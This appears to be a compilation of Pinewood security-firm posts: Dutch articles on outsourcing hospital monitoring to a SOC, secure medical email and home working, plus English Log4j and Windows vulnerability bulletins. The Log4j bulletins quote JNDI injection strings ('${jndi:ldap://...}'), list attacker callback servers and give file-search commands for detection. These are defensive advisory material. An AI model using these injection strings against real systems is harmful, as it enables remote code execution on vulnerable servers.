Met ontwikkelingen als e-health, gebruik van medische technologie op eigen apparatuur, en verdere digitalisering van zorgprocessen is veiligheid een must. Haaglanden Medisch Centrum heeft daarom het monitoren van de digitale infrastructuur en de beveiliging ervan uitbesteed aan een security operations center (SOC).

Robin Hoogduin, Chief Information Officer (CIO) bij HMC.
Elke chief information officer (CIO) moet verstand hebben van drie specifieke zaken. Ten eerste het primaire proces van de organisatie waarvoor je werkt. Je moet goed begrijpen hoe technologie de transformatie van het primaire proces beïnvloedt en vormgeeft. Ten tweede de ict-arbeidsmarkt. Wat moet ik waar inkopen of outsourcen? Die arbeidsmarkt is al jaren krap; daarmee moet je dus in je strategie rekening houden. Ten derde veiligheid en beveiliging: daar ligt de komende vijftien jaar de grote uitdaging.

Technologie levert veel op
We plukken ook in de zorgsector de vruchten van alle functionaliteiten die beschikbaar komen dankzij bijvoorbeeld managed services, SaaS en cloud computing. Alle nieuwe technologie en verbindingen leveren ons veel op. Het is fantastisch dat apparatuur automatisch – geanonimiseerde – data kan versturen die gebruikt kunnen worden voor de diagnose en voor de juiste werking van apparatuur. Het draagt bij aan verbetering van de kwaliteit van leven van patiënten. Datzelfde geldt voor ‘bring your own (medical) device’.

Veiligheid buiten het ziekenhuis
De mobiele telefoon is tegenwoordig feitelijk een gecertificeerd medisch hulpmiddel. In Amerika hebben Apple, Google Microsoft en Amazon al afspraken gemaakt met de FDA over hoe zij in een versneld proces technologie kunnen inzetten als gecertificeerd medisch hulpmiddel. Ook dat zal de kwaliteit van zorg in de komende jaren enorm verbeteren.

Het betekent alleen wel dat de veiligheid van een smartphone niet alleen gegarandeerd moet zijn als die in het ziekenhuis gebruikt wordt, maar ook als daarmee een patiënt in de thuissituatie gemonitord wordt. En dan moeten naast het apparaat ook het netwerk en de verbinding gegarandeerd en beveiligd worden.

Waar in een andere sector uitgebreid tijd is om de veiligheidsrisico’s van een nieuwe oplossing af te wegen, kunnen deze in een zorginstelling levensbedreigend zijn voor de patiënt. Daardoor kan het zijn dat bepaalde nieuwe technologie eerder te vroeg dan te laat geaccepteerd wordt. Dat is dus de uitdaging: de voordelen van technologie blijven benutten én de risico’s die daarbij optreden inperken.

Samenwerking met een SOC
Met de toenemende complexiteit van het samenspel met technologie neemt ook het belang van security toe. Voor veel zorginstellingen is het onmogelijk om voldoende kennis op dat gebied binnen te halen. Het gaat immers om 24/7 monitoring, waarbij de deskundigen ook in staat moeten zijn breder in de markt optredende patronen te herkennen. Neem je dat allemaal in overweging dan is samenwerking met een security operations center (SOC) een toekomstgerichte stap.

In een SOC werken security-analisten, threat hunters en ethical hackers. Zij concentreren zich 24 uur per dag op monitoring, onderzoek en detectie. De security-analisten werken met een combinatie van automatisering en artificial intelligence tools en vullen die aan met hun onmisbare menselijke analyse en interpretatie. De threat hunters zijn continu op zoek naar nieuwe cyberdreigingen zoals infecties of geavanceerde hackpogingen. Als het nodig is, wordt direct actie ondernomen.

Naast signalering ook duiding
Een SOC biedt analyse, signalering en advisering. Maar vooral ook duiding: wat gebeurt er en wat kunnen we nog verwachten. Welke (preventieve) maatregelen kunnen we daartegen nemen. Haaglanden Medisch Centrum (HMC) koos voor een grote speler die dit voor veel klanten doet en snel geografische trends kan waarnemen, zodat indien nodig tijdelijk het verkeer met bepaalde landen stopgezet kan worden. Wel een speler van Nederlandse bodem die de lokale omgeving en omstandigheden goed kent.

Alle informatie is privacygevoelig
Security en privacy zijn speerpunten in de zorg, omdat eigenlijk alle informatie heel gevoelig is. Met de uitbesteding van de monitoring en beveiliging van de digitale infrastructuur heeft het HMC een grote zorg minder.

Door: Robin Hoogduin, Chief Information Officer (CIO) bij HMC

In deze video leggen wij kort uit wat een Security Operations Center (SOC) precies doet.

In deze video gaat 1 van onze Sr. Security  Analisten in op de vraag: Wat doet een SOC Analist?

On Friday 10 December, Pinewood issued an alert about a critical vulnerability that exists in Log4j, a Java-based logging framework which is used by many different applications and websites. Because of the widespread use of this solution, combined with the ease of exploitation of the vulnerability, attackers have started to exploit this vulnerability on a large scale. Exploitation attempts have been seen by the Pinewood SOC. This bulletin sums up the information that’s currently available on the vulnerability.

Description

A vulnerability in Log4j 2 allows attackers to remotely inject and exploit malicious content into the logs of a vulnerable system. Log4j supports the usage of variables in logs that will be automatically parsed once they are found. If an attacker succeeds in inserting a specific variable into the log, he can then initiate a so-called Java Naming and Directory Interface (JNDI) lookup. This JNDI lookup can then be used to load and execute a Java class from a remote (attacker controlled) server. An attack can be recognized by a JNDI variable that is sent by the attacker and which may look like:

${jndi:ldap://<ip address>/…}

${jndi:dns://<ip address>/…}

The vulnerability can therefore be mitigated by disabling these lookups or by upgrading Log4j to the latest version.

Proof of Concept (PoC) code has already been released that illustrates how this vulnerability can be exploited. Because exploitation is quite simple, exploitation of the vulnerability is already happening on a large scale.

Affected Products

The vulnerability impacts Log4j 2 up to version 2.14.1. Log4j is integrated into several other products (such as Apache Struts and Apache Solr) which makes these applications vulnerable as well.

As this situation is quickly evolving Pinewood advises to regularly check the articles from the different vendors that are used in your environment for the status and available patches.

There are several resources that are collecting information about all vendors:

• NCSC
• SwitHak

Below is an overview of bulletins issued on this vulnerability by Pinewood vendors. For some this information is still changing, so regularly check the links until the situation is clear.

• Befine (Cryptshare): No official confirmation, but internal research shows Cryptshare is not affected.
• Check Point: Check Point has confirmed no products are vulnerable.
• F5: F5 has confirmed that this vulnerability cannot be exploited in any of its products. Although F5 BIG-IP and F5 BIG-IQ Centralized Management contain the affected code, an attacker could not exploit the code in default, standard, or recommended configurations.
• Fortinet: a limited number of Fortinet products are affected by this vulnerability. Fortinet currently lists the following products as vulnerable (no fixes available yet): FortiSIEM, FortiCASB, FortiPortal, FortiNAC, FortiConvertor, FortiAIOps, FortiPolicy, ShieldX, FortiSOAR, FortiEDR Cloud, others are not.
• HPE Aruba: information expected soon.
• Thales (Safenet): is researching the issue, more information expected on the support portal soon.
• McAfee: the products are currently under review or not affected, no products are known vulnerable at the moment.

Workaround

Apache has documented several workarounds in case a patch cannot be installed. These include:

• Log4j >= 2.10: disable JNDI lookups by setting the system property log4j2.formatMsgNoLookups or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. Do this by setting the -Dlog4j2.formatMsgNoLookups command line option or by adding this option to the log4j2.component.properties file on the classpath.
• Log4j < 2.10: remove the JndiLookup and JndiManager classes from the classpath.

Solution

Apache has released Log4j 2.15.0 to address this vulnerability. Unfortunately, Apache only provides source code patches (no binary patches) and therefore you need to apply the patches provided by your application vendor. See the Affected Productssection for an overview of well-known vulnerable products.

Detection / SOC observations

Indicators of Compromise

The Pinewood SOC does see active exploitation attempts from many of the well-known malicious IP addresses. Detection of these attempts is of limited value as these are often untargeted (regular “internet noise”) and do not indicate whether such an attempt is successful.

Upon successful exploitation of the vulnerability, a vulnerable machine will initiate a callback towards an attacker-controlled server. Detecting these callbacks is therefore much more useful as these indicate a successful exploitation attempt. Much of the well-known callback domains and IP addresses are publicly available (see e.g., this Callback Domains Log4j Github repository). In addition to these well-known and reported domains and IP addresses, Pinewood also observed the following C2 servers in exploitation attempts within customer networks (this includes servers used by security researchers to scan the internet for vulnerable installations):

• 45.130.229[.]168
• 45.155.205[.]233
• [attacker-domain][.][32 random characters][.]interactsh.com (104.248.51.21)
• [attacked-domain][.] .ua.log4j-test.xyz (108.61.148.110)
• divd-[32 random characters]_http_Referer[.]log4jdns.x00.it (5.2.67.229)
• http443path[.]kryptoslogic-cve-2021-44228.com (167.99.86.185)
• http80useragent[.]kryptoslogic-cve-2021-44228.com (167.99.86.185)

The Pinewood SOC is actively monitoring outbound connections to these (and other publicly reported C2) IP addresses to determine successful exploitation attempts of this vulnerability within customer networks. Customers are alerted if successful connections to C2 servers were observed.

Exploitation signatures

In addition, several security providers have released signatures to detect malicious connections to Log4j systems:

• Check Point: has released a signature for its IPS module.
• Fortinet: has released signatures for its IPS module in FortiGate, FortiADC, and FortiProxy (version 19.215) to detect and block exploitation of the vulnerability. The signatures are detect by default, blocking must be enabled. Updates were released for FortiAnalyzer and FortiSIEM to include indicators for the Log4j vulnerability.
• Palo Alto: has released the threat ID 91991 signature to automatically block malicious sessions through its NG firewalls with a threat security subscription. Cortex XDR customers can take advantage of the Java Deserialization Exploit protection module and Cortex XSOAR customers can leverage the CVE-2021-44228 -Log4j RCE pack to automatically detect and mitigate the vulnerability.
• Suricata: has released the ET Exploit log4j RCE Attempt (udp ldap) (CVE-2021-44228) signature to detect exploitation attempts. This signature is included in all the network sensors deployed by the Pinewood SOC within customer networks.

References

For more information view the full Apache bulletin: https://logging.apache.org/log4j/2.x/security.html.

Questions

If you have any questions regarding this issue please contact Pinewood Support by phone 015 251 36 33 or via e-mail support@pinewood.nl.

Sebastiaan Kors

CEO

015-251 36 36

sebastiaan.kors@pinewood.nl

On Friday 10 December and Monday 13 December, Pinewood issued bulletins about a critical vulnerability that exists in Log4j, a Java-based logging framework which is used by many different applications and websites. Since then, exploitation of the vulnerability has continued and, in this bulletin, we would like to share an update on the insights that we’ve gained over the past few days.

The vulnerability

For more information on the vulnerability, see our previous bulletins. In conclusion a critical vulnerability in Log4j version 2, which is part of many different software solutions, allows attackers to remotely compromise vulnerable systems by injecting malicious content into the logs of these systems. If an attacker succeeds in inserting a specific variable into the log, he can then initiate a so-called Java Naming and Directory Interface (JNDI) lookup which can then be used to load and execute the malicious content from the remote (attacker controlled) server.

Affected Products and Solutions

As there are many vulnerable software solutions, it’s impossible to sum up all of these solutions, let alone the patches that have been released to fix this issue. As this situation is quickly evolving, Pinewood therefore advises to regularly check the articles from the different vendors that are used in your environment for the status and available patches. In addition, we advise you to regularly check the overview from the Dutch National Cyber Security Center (NCSC-NL) which is continuously updated and very complete; you can find the overview here.

Attention points

There are several attention points that we’ve witnessed over the last few days that we would like to share:

• Scanning for vulnerable systems is very challenging. Our customers have asked us to launch vulnerability scans against their networks and we found that running uncredentialed scans against these networks delivers highly unreliable results, irrespective the type of vulnerability scanner used. These scans do rely on specific callbacks once the vulnerability is triggered. However, these triggers are very application-specific (e.g. malicious content should be injected in specific fields, specific pages on a website should be contacted, etc.) and therefore require specific vulnerability scanning plug-ins for specific software solutions.
• One of the work-arounds is not effective. Two workarounds were previously advised by Apache to prevent exploitation of the vulnerability: 1) to change the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to TRUE or 2) to remove the JndiLookup class from the classpath. It turned out that the first work-around does not prevent exploitation of the vulnerability in all cases and should therefore not be relied upon. Apache now only advises the second workaround.
• Broad scale scanning continues. We see continuous efforts to find vulnerable systems by injecting malicious strings into requests towards internet-facing IP addresses. If a vulnerable system is/was connected to the internet, it is highly likely that it was hit by such a scan.
• Limiting outbound communication can greatly reduce the risk of exploitation attempts. The exploit attempts that we’ve seen, rely on connections back to attacker-controlled servers. If a vulnerable machine can only receive connections from internet-connected systems but cannot initiate connections back, this can greatly reduce the chances of a vulnerable systems getting compromised.
• New exploits are quickly used once they are published. As described earlier, the attack vector may vary amongst different software solutions. Exploits showing how a vulnerability can be exploited in a specific software solution are regularly published on the internet. As soon as such an exploit is published, it will only take a few minutes or hours before active use of it starts.

Advise

Based on our experiences with this vulnerability and its exploitation attempts we advise you the following:

• Compile an inventory of systems running Log4j version 2. Start with internet-facing systems first and then continue with the systems that are not directly internet-connected. Create this overview by issuing specific commands on all your systems, by running a credentialed vulnerability scan against your systems or by utilizing existing tooling within your network that has software inventory capabilities (e.g. Defender for Endpoint). If you prefer to run commands, you can use these:For Windows (Powershell):
  gci ‘C:\’ -rec -force -include *.jar -ea 0 | foreach {select-string “JndiLookup.class” $_} | select -exp PathFor Linux (find):
  find / 2>/dev/null -regex “.*.jar” -type f | xargs -I{} grep JndiLookup.class “{}”
• Disconnect vulnerable systems from the internet ASAP. Because scans happen continuously and around the clock, you should assume that the vulnerability was already exploited or will be exploited very soon. It is therefore essential to disconnect a vulnerable system from the internet ASAP or – if this is not possible – either install the patch provided by your software vendor or implement the workaround if such as patch is not yet available.
• Check your logging on vulnerable systems. Because attacks rely on injecting malicious payloads in your logs, you should be able to find these attacks by checking your logs for signs of attacks. Logs of attacked systems typically contain entries with a string starting with “${jndi:“ and finding such a string in your logs is an indicator of attack. Be reminded that having such a string in your logs does not mean that your system is compromised per se, it’s “just” an attempt to do so that should be investigated further.

Questions

If you have any questions regarding this issue please contact Pinewood Support by phone 015 251 36 33 or via e-mail support@pinewood.nl.

Sebastiaan Kors

CEO

015-251 36 36

sebastiaan.kors@pinewood.nl

Pinewood Security Bulletin – Critical vulnerabilities in Microsoft Windows

Multiple vulnerabilities have been found in Microsoft Windows. Two of these vulnerabilities are given the CVSS-score of 9.8, which measures the vulnerabilities as highly critical. Both vulnerabilities can be used by unauthenticated attackers for remote code execution. The highest threat is the vulnerability of CVE-2022-21907.

Description

CVE-2022-21907: the vulnerability is in the HTTP Protocol stack (http.sys) and an unauthenticated attacker can remotely execute random code on a vulnerable system by sending specially crafted network packets. Microsoft indicates that this vulnerability is possibly ‘wormable’. This means that without interference of users malicious software can be spread to other vulnerable systems. Although there is no Proof-of-Concept of the exploit available at the time of writing, the NCSC expects this to be available soon.

CVE-2022-21849: the vulnerability is in the Microsoft IKE Key Exchange for IPSec and can only be used when IPSec is active. The vulnerability can help attackers to execute remote code.

Affected Products

The following products needs updates:

• Windows 10 Version 1809, 20H2, 21H1, 21H2
• Windows 11
• Windows Server 2016, 2019, 2022

Exploitation is not limited to server application, client software can also be affected.

Workaround

In Windows Server 2019 and Windows 10 version 1809, the HTTP Trailer Support feature that contains the vulnerability is not active by default. The following registry key must be configured to introduce the vulnerable condition:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters\

“EnableTrailerSupport”=dword:00000001

This mitigation does not apply to the other affected versions.

Solution

Microsoft has released new updates to address the vulnerability. There have been reports that this update may not work well on servers configured as a L2TP VPN server, Pinewood recommends to take this into consideration before deploying the update.

References

For more information view the full NCSC article https://www.ncsc.nl/actueel/advisory?id=NCSC-2022-0014

Questions

If you have any questions regarding this issue please contact Pinewood Support by phone 015 251 36 33 or via e-mail support@pinewood.nl.

In deze video lichten wij de noodzaak toe voor een Security Operations Center (SOC).

Veilig mailen is in alle branches belangrijk, maar in de zorg is het veilig uitwisselen van medische informatie een absolute voorwaarde. Zorgverleners die medische gegevens van patiënten of cliënten willen delen per e-mail, zijn verplicht te voldoen aan de NTA 7516. Met andere woorden, zij moeten een oplossing gebruiken die veilige communicatie garandeert. In de norm NEN 7510 staan de kaders aangegeven voor het uitwisselen van medische informatie en in de norm NTA 7516 staat beschreven hoe zorgprofessionals en communicatieleveranciers veilige communicatie moeten verzorgen. Hierbij wordt aandacht gegeven aan beschikbaarheid, integriteit en vertrouwelijkheid, maar ook aan bruikbaarheid voor zowel de zorgprofessional als de patiënt.

De norm voor veilige communicatie is binnen de zorg aanleiding om goed naar de bestaande mailomgeving te kijken, en deze zo aan te passen dat het voldoet aan alle beveiligingseisen. Daarnaast moet de oplossing de standaard gebruiken die voor interoperabiliteit in de NTA 7516 is vastgelegd. Deze standaard zorgt ervoor dat alle NTA 7516-gecertificeerde mail-oplossingen veilig met elkaar kunnen ‘praten’, zodat het dus niet uitmaakt welke oplossing de andere zorgpartij gebruikt. Er kan hierdoor ook op een veilige manier met niet gecertificeerde partijen gegevens uitgewisseld worden, zoals met patiënten. Door een goede samenwerking met Fortinet kan Pinewood nu een oplossing bieden, Fortimail, die volgens de NTA 7516 eisen wordt ingericht en waarbij een speciaal door Fortinet ontwikkeld NTA 7516 Mail-Filter geïmplementeerd wordt (op basis van beschikbaarheid, integriteit en vertrouwelijkheid). Hiermee is de interoperabiliteit gegarandeerd.

Met de inzet van FortiMail kunnen we ervoor zorgen dat de Zorg veilig medische informatie kan uitwisselen volgens de eisen die NTA 7516 daaraan stelt.

Wilt u hier meer over weten, neemt u dan contact met ons op via info@pinewood.nl of via tel.nr. 015-251 3636. Wij helpen u graag verder.

Bijna heel Nederland is genoodzaakt thuis te werken door de nare omstandigheden die nu ons land beheersen. Thuiswerken vergt naast het vertrouwen van de werkgever ook discipline van de werknemer. Maar nog veel belangrijker is dat het op een veilige manier gebeurt en de werknemer zich bewust is van de gevaren die er zijn bij het gebruik van externe communicatiemiddelen. Communicatiemiddelen om elkaar te contacten of informatie te delen. Wat zijn nu de risico’s en hoe kun je je hiertegen wapenen?

Risico’s zowel op het gebied van privacy als informatiebeveiliging:
Een van de grootste risico’s die er ontstaat bij thuiswerken is Shadow-IT. Het gebruik maken van tools die niet door de IT-afdeling ondersteund worden zoals Whatsapp, Zoom, Wetransfer, Dropbox of Google Drive, maar ook USB-sticks of het gebruik van privé-laptops. Bij de inzet van deze communicatiemiddelen is er geen controle over de data die verstuurd wordt en inzicht in het veilig gebruik van deze middelen. De IT-afdeling heeft geen controle over de beveiliging hiervan en gebruikers weten vaak niet hoe ze deze veilig moeten gebruiken. Dit noemen we Shadow-IT.

Daarnaast zijn er ook cybercriminelen die misbruik maken van de situatie die ontstaan is en via phishing proberen computervirussen en ransomware te verspreiden of persoonlijke gegevens te achterhalen. Door de grote stroom aan nieuwsberichten over het coronavirus zijn gebruikers minder op hun hoede voor e-mails met ongebruikelijke verzoeken die vanwege het coronavirus nodig zouden zijn.

Welke maatregelen kun je als organisatie nemen?
Als organisatie is het van belang dat je keuzes maakt hoe veilig thuis te werken en daarvoor procedures en protocollen opstelt, zodat het voor iedereen duidelijk is wat wel en niet toegestaan is. Procedures met betrekking tot het delen van informatie hoe en in welke vorm en het gebruik van applicaties met betrekking tot videobellen.

Persoonsgegevens mogen vanwege de AVG alleen worden gedeeld als daar een juiste grondslag (reden) voor is. Het delen van een sheet met persoonsgegevens via Excel met een gehele afdeling kan ook een datalek zijn. Alléén de medewerkers voor wie het noodzakelijk is deze gegevens te ontvangen mogen toegang krijgen. Leg dit vast in een procedure en geef aan met welke communicatiemiddelen deze informatie gedeeld mag worden.

Basismaatregelen die de medewerkers zelf kunnen en moeten hanteren :
• Zorg voor een beveiligde WiFi thuis.
• Gebruik een gezonde vorm van wantrouwen bij het lezen van mail en openen van links.
• Zorg dat de werk PC alleen voor werk gebruikt wordt en niet voor privé-doeleinden.
• Gebruik de applicaties die het bedrijf voorstelt, overleg met IT-beheerders of je andere toepassingen mag gebruiken.
• Printen – indien toegestaan, vernietig de papieren.
• Let op dat er bij vertrouwelijke gesprekken (of eigenlijk altijd) geen Google Home, Alexa of andere apparaten aan staan.
• Tóch informatie delen via een ongebruikelijke weg? Niet alleen via een link of e-mail, maar verpak het bijvoorbeeld in een zip-bestand met een wachtwoord, stuur het wachtwoord via SMS of Whatsapp.

De volgende acties kun je als organisatie nemen:
• Informeer je medewerkers over de risico’s en de maatregelen die de organisatie genomen heeft met betrekking tot veilig thuiswerken, regels en protocollen.
• Systemen en remote gebruikers moeten voorzien zijn van de laatste updates.
• Geef aan dat er een meldplicht geldt voor incidenten zoals het lekken van data en op welke manier en bij wie dit gemeld moet worden.
• Informeer medewerkers dat het aantal phishingmails toeneemt door het coronavirus, zodat ze zich hier bewust van zijn en alert hierop zijn. Geef tevens aan dat er een meldplicht geldt zoals hierboven aangegeven.

Voor ondersteuning of meer informatie neemt u gerust contact met ons op via info@pinewood.nl of via tel.nr. 015-2513636. Wij helpen u graag verder.

Voor de bedrijfsvoering van organisaties is een goed Vulnerability Management beleid voor iedereen binnen een organisatie belangrijk. Door gebruik te maken van Vulnerability Management krijgt u op continue basis inzicht in de kwetsbaarheden binnen uw infrastructuur en de risico’s. De risico’s worden gedetecteerd nog voordat ze problemen veroorzaken. Om het juiste resultaat te behalen, is het van essentieel belang dat er op basis van de risico’s ook maatregelen genomen worden. In de praktijk zien wij vaak dat organisaties geautomatiseerd een overzicht genereren van alle kwetsbaarheden, maar de tijd of beschikbare kennis ontbreekt om hierop te acteren. Door Vulnerabilty Management als een proces te benaderen, wordt het een onderdeel van uw Security beleid.

Door het continue karakter van de Vulnerabiltiy Scanning volgt er back-to-back Vulnerability informatie, waardoor er trends gesignaleerd kunnen worden over de korte- en lange termijn. Deze informatie is van belang voor Security Officers, Auditors en Directie. Tevens een reden om het onderdeel van het security beleid te maken.

Onderdeel Security beleid:
Voor een optimale beveiliging is het van belang om Vulnerability Management onderdeel van uw Security beleid te maken en is een Security team bestaande uit een IT-beheerder en Security Officer essentieel voor een juiste inschatting van de risico’s en prioritering (kans x impact) en voor het uitvoeren van de benodigde maatregelen. Op deze wijze worden zowel de bedrijfsprocessen binnen een organisatie hierop aangepast als de technische maatregelen uitgevoerd, zodat u altijd het juiste security niveau heeft inclusief de eisen die de wet- en regelgeving van organisaties verwacht.

Tips die Pinewood u graag wil meegeven:

• Blijf Vulnerability Management zien als een continu proces. De hoeveelheid bekende kwetsbaarheden wereldwijd blijft continu groeien. Terwijl uw IT-omgeving wellicht niet verandert doen de hoeveelheid kwetsbaarheden in uw omgeving dat wel.
• Een lijst of dashboard van kwetsbaarheden genereren is niet alles. Het genereren van de output uit een scanning tool is niet het doel. Binnen het proces draait het erom dat u de kwetsbaarheden beoordeelt en waar nodig omzet tot acties.
• Het draait om de werkelijke risico’s. Uit uw scanning tool krijgt u kwetsbaarheden voorzien van prioriteiten (vaak: laag, medium, urgent en kritisch). Het risico dat uw organisatie loopt per kwetsbaarheid is verschillend. Er zijn situaties waar zelfs een kritische kwetsbaarheid wordt geaccepteerd.
• Vulnerability Management is niet alleen een aangelegenheid voor de IT-afdeling. Binnen de risicobepaling dient de daadwerkelijke kans en impact vastgeteld te worden. Dit heeft een groot raakvlak met uw business en security overwegingen.
• Start met basis scanning en breid uit. Er zijn mogelijkheden om nog meer kwetsbaarheden in kaart te brengen (bijvoorbeeld authenticated scanning). Wanneer u voldoende ervaring en kennis van security heeft opgebouwd, kunt u de scanning verder uitbreiden.
• Zorg voor de juiste opvolging. Wanneer u een kwetsbaarheid heeft geïndentificeerd waar actie op benodigd is, zorg dan dat conform uw processen (bijvoorbeeld ticket aanmaken) de wijziging wordt uitgevoerd. Indien dit een groot risico voor uw organisatie betreft, vraag dan een second opinion aan. Indien er geen mogelijkheid is om te patchen of geen tijd, neem andere passende mitigerende maatregelen eventueel in overleg met uw security partner.

Pinewood kan als security partner een waardevolle bijdrage leveren in het Vulnerabilty Management proces door o.a.:

• Pinewood Vulnerability Scanning tool inrichten en beheren.
• Uitkomst vulnerability scan vertalen, samenvatten en prioriteren op basis van uw organisatie.
• Periodieke rapportages opleveren met de meest kritische en hoge urgentie; kwetsbaarheden. Om de risico inschatting en urgentiebepaling voor uw team makkelijker te maken.
• Online dashboard opleveren met specifieke dashboards en overzichten.
• Aanspreekpunt voor uw vragen met betrekking tot het mitigeren van kwetsbaarheden.
• Kennisopbouw of samenwerken.

Overweegt of u zelf de juiste kennis in huis heeft, wilt opbouwen of dat het uw voorkeur heeft om hierbij een externe partij te betrekken.
Voor meer informatie kunt u contact met ons opnemen via info@pinewood.nl of via tel.nr. 015-2513636.